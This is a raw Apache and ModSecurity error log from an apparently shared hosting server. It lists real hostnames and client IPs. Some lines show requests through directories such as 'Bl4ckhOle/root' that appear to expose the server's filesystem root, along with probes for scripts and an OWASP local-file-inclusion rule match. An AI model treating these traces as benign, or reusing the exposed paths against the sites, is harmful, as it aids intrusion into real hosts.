[Fri Jul 17 10:16:03.418800 2026] [security2:error] [pid 2063889:tid 2063889] [client 173.239.218.184:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/jrdclk-ip": Permission denied [hostname "research.jrdc.lk"] [uri "/index.php"] [unique_id "almzi-m5CUZD8nfUE72xAAAAAAo"]
[Fri Jul 17 10:16:05.603596 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:05.958632 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:52294] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:06.240817 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:07.296727 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:07.730188 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:52342] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:08.114781 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:52378] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:10.108158 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:52492] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:10.785580 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:52518] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:11.504063 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:11.712053 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:11.897349 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:35762] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:17.001119 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 57.141.18.102:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory66/node0/memory53/node0/memory128/node0/compact
[Fri Jul 17 10:16:18.923906 2026] [ssl:error] [pid 2068138:tid 2068138] (70014)End of file found: [client 66.85.158.91:36216] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:21.296241 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:42558] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:22.624466 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:24.434047 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:27.919929 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:31.653341 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:31.860894 2026] [security2:error] [pid 2070774:tid 2070774] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almzp5gSqNK-noXr5RtmDgAAAA4"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:16:31.860933 2026] [security2:error] [pid 2070774:tid 2070774] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almzp5gSqNK-noXr5RtmDgAAAA4"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:16:32.945646 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:33.664266 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:36144] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:33.892456 2026] [ssl:error] [pid 2068138:tid 2068138] (70014)End of file found: [client 66.85.158.91:36200] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:34.016538 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:34.418131 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:36214] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:35.145094 2026] [security2:error] [pid 2034024:tid 2034024] [client 47.82.48.219:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/246:1/device/firmware_node/subsystem/devices/device:18/uevent"] [unique_id "almzq4-0g_VSPeIeFN3OUwAAAAs"]
[Fri Jul 17 10:16:35.145135 2026] [security2:error] [pid 2034024:tid 2034024] [client 47.82.48.219:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/246:1/device/firmware_node/subsystem/devices/device:18/uevent"] [unique_id "almzq4-0g_VSPeIeFN3OUwAAAAs"]
[Fri Jul 17 10:16:35.393335 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:36266] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:36.671085 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:36.783838 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:36368] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:39.318648 2026] [ssl:error] [pid 2065296:tid 2065296] (70014)End of file found: [client 66.85.158.91:36500] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:39.698463 2026] [core:error] [pid 2068138:tid 2068138] (13)Permission denied: [client 57.141.18.102:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory99/subsystem/devices/memory5/subsystem/devices/memory82/node0/memory129/subsystem/uevent
[Fri Jul 17 10:16:40.050318 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:40.059587 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:40.698570 2026] [ssl:error] [pid 2070772:tid 2070772] (70014)End of file found: [client 66.85.158.91:36550] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:40.928421 2026] [security2:error] [pid 2063442:tid 2063442] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almzr6TW5eFi1WFCzw0YcQAAABc"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1044&page_105=2345
[Fri Jul 17 10:16:40.928466 2026] [security2:error] [pid 2063442:tid 2063442] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almzr6TW5eFi1WFCzw0YcQAAABc"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1044&page_105=2345
[Fri Jul 17 10:16:41.565437 2026] [mime:warn] [pid 2068138:tid 2068138] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:42.675033 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:52342] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:43.767329 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:52404] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:44.450709 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:44.941983 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:52500] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:44.958673 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:52522] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:45.867145 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:52532] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:46.200843 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.200918 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.201155 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.201185 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.201233 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.201261 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.201295 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.201326 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.201360 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.201417 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.201455 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.201493 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.201530 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.201573 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.201725 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.417387 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.417475 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.417655 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.417707 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.417754 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.417771 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.417789 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.417805 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.417821 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.417850 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.417867 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.417886 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.417903 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.417919 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:46.418070 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:47.329455 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:52604] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:48.993010 2026] [ssl:error] [pid 2068138:tid 2068138] (70014)End of file found: [client 66.85.158.91:52712] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:49.510390 2026] [ssl:error] [pid 2063895:tid 2063895] (5)Input/output error: [client 66.85.158.91:52740] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:49.980846 2026] [proxy_fcgi:error] [pid 2065296:tid 2065296] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:50.049767 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:52774] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:50.139567 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:50.553507 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:50.716562 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:50.881678 2026] [proxy_fcgi:error] [pid 2070774:tid 2070774] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:51.041494 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:51.210485 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:51.373991 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:51.580559 2026] [proxy_fcgi:error] [pid 2065296:tid 2065296] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:51.740755 2026] [proxy_fcgi:error] [pid 2070774:tid 2070774] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:51.903191 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:52.076972 2026] [proxy_fcgi:error] [pid 2070772:tid 2070772] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:52.238822 2026] [proxy_fcgi:error] [pid 2065293:tid 2065293] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:52.398406 2026] [proxy_fcgi:error] [pid 2065296:tid 2065296] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:52.570410 2026] [proxy_fcgi:error] [pid 2070774:tid 2070774] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:52.730776 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:52.739316 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:53.053565 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:53.215294 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:53.411970 2026] [core:error] [pid 2063463:tid 2063463] (13)Permission denied: [client 57.141.18.117:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory99/subsystem/devices/memory142/subsystem/devices/memory119/node0/memory141/subsystem/drivers_probe
[Fri Jul 17 10:16:53.414773 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:53.574235 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:53.742969 2026] [proxy_fcgi:error] [pid 2065293:tid 2065293] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:53.756270 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:53.759630 2026] [core:error] [pid 2060590:tid 2060590] (13)Permission denied: [client 47.82.48.87:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.2/remove
[Fri Jul 17 10:16:53.760228 2026] [security2:error] [pid 2060590:tid 2060590] [client 47.82.48.87:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.2/remove"] [unique_id "almzvXv42nOn2tp5Eua3jgAAABA"]
[Fri Jul 17 10:16:53.760256 2026] [security2:error] [pid 2060590:tid 2060590] [client 47.82.48.87:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.2/remove"] [unique_id "almzvXv42nOn2tp5Eua3jgAAABA"]
[Fri Jul 17 10:16:53.853156 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:53.853246 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:53.853505 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:53.853535 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:53.853581 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:53.853608 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:53.853635 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:53.853679 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:53.853720 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:53.853765 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:53.853792 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:53.853822 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:53.853871 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:53.853896 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:53.854032 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:53.901845 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:54.103214 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:54.264711 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:54.317010 2026] [security2:error] [pid 2070772:tid 2070772] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almzvTdaQZ1lgvSnnieJPwAAAAM"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1106&page_105=1246
[Fri Jul 17 10:16:54.317176 2026] [security2:error] [pid 2070772:tid 2070772] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almzvTdaQZ1lgvSnnieJPwAAAAM"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1106&page_105=1246
[Fri Jul 17 10:16:54.425834 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:54.614639 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:54.710816 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:42546] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:54.796551 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:54.956366 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:55.119408 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:55.279981 2026] [proxy_fcgi:error] [pid 2070772:tid 2070772] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:55.449362 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:55.662151 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:55.826219 2026] [proxy_fcgi:error] [pid 2063883:tid 2063883] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:55.991923 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:56.166822 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:56.450658 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:56.612884 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:56.799826 2026] [proxy_fcgi:error] [pid 2065293:tid 2065293] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:57.282647 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:57.443972 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:57.607416 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:57.767423 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:57.936496 2026] [proxy_fcgi:error] [pid 2070774:tid 2070774] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:58.331242 2026] [security2:error] [pid 2060590:tid 2060590] [client 192.104.34.34:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colperlab-global": Permission denied [hostname "colperlab.com"] [uri "/index.php"] [unique_id "almzwnv42nOn2tp5Eua3lAAAABA"]
[Fri Jul 17 10:16:58.331268 2026] [security2:error] [pid 2060590:tid 2060590] [client 192.104.34.34:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colperlab-ip": Permission denied [hostname "colperlab.com"] [uri "/index.php"] [unique_id "almzwnv42nOn2tp5Eua3lAAAABA"]
[Fri Jul 17 10:16:58.534375 2026] [security2:error] [pid 2068138:tid 2068138] [client 185.191.171.13:0] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /daph/daph2/vendor/laravel/framework/src/illuminate/notifications/composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ksoft.web.lk"] [uri "/daph/daph2/vendor/laravel/framework/src/Illuminate/Notifications/composer.json"] [unique_id "almzwg4g1d3E329BkvVQTwAAAAE"]
[Fri Jul 17 10:16:58.534610 2026] [security2:error] [pid 2068138:tid 2068138] [client 185.191.171.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ksoft.web.lk"] [uri "/daph/daph2/vendor/laravel/framework/src/Illuminate/Notifications/composer.json"] [unique_id "almzwg4g1d3E329BkvVQTwAAAAE"]
[Fri Jul 17 10:16:58.566907 2026] [security2:error] [pid 2068138:tid 2068138] [client 185.191.171.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ksoft.web.lk"] [uri "/daph/daph2/vendor/laravel/framework/src/Illuminate/Notifications/composer.json"] [unique_id "almzwg4g1d3E329BkvVQTwAAAAE"]
[Fri Jul 17 10:16:58.730350 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:58.901626 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:59.381648 2026] [proxy_fcgi:error] [pid 2070774:tid 2070774] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:16:59.590532 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
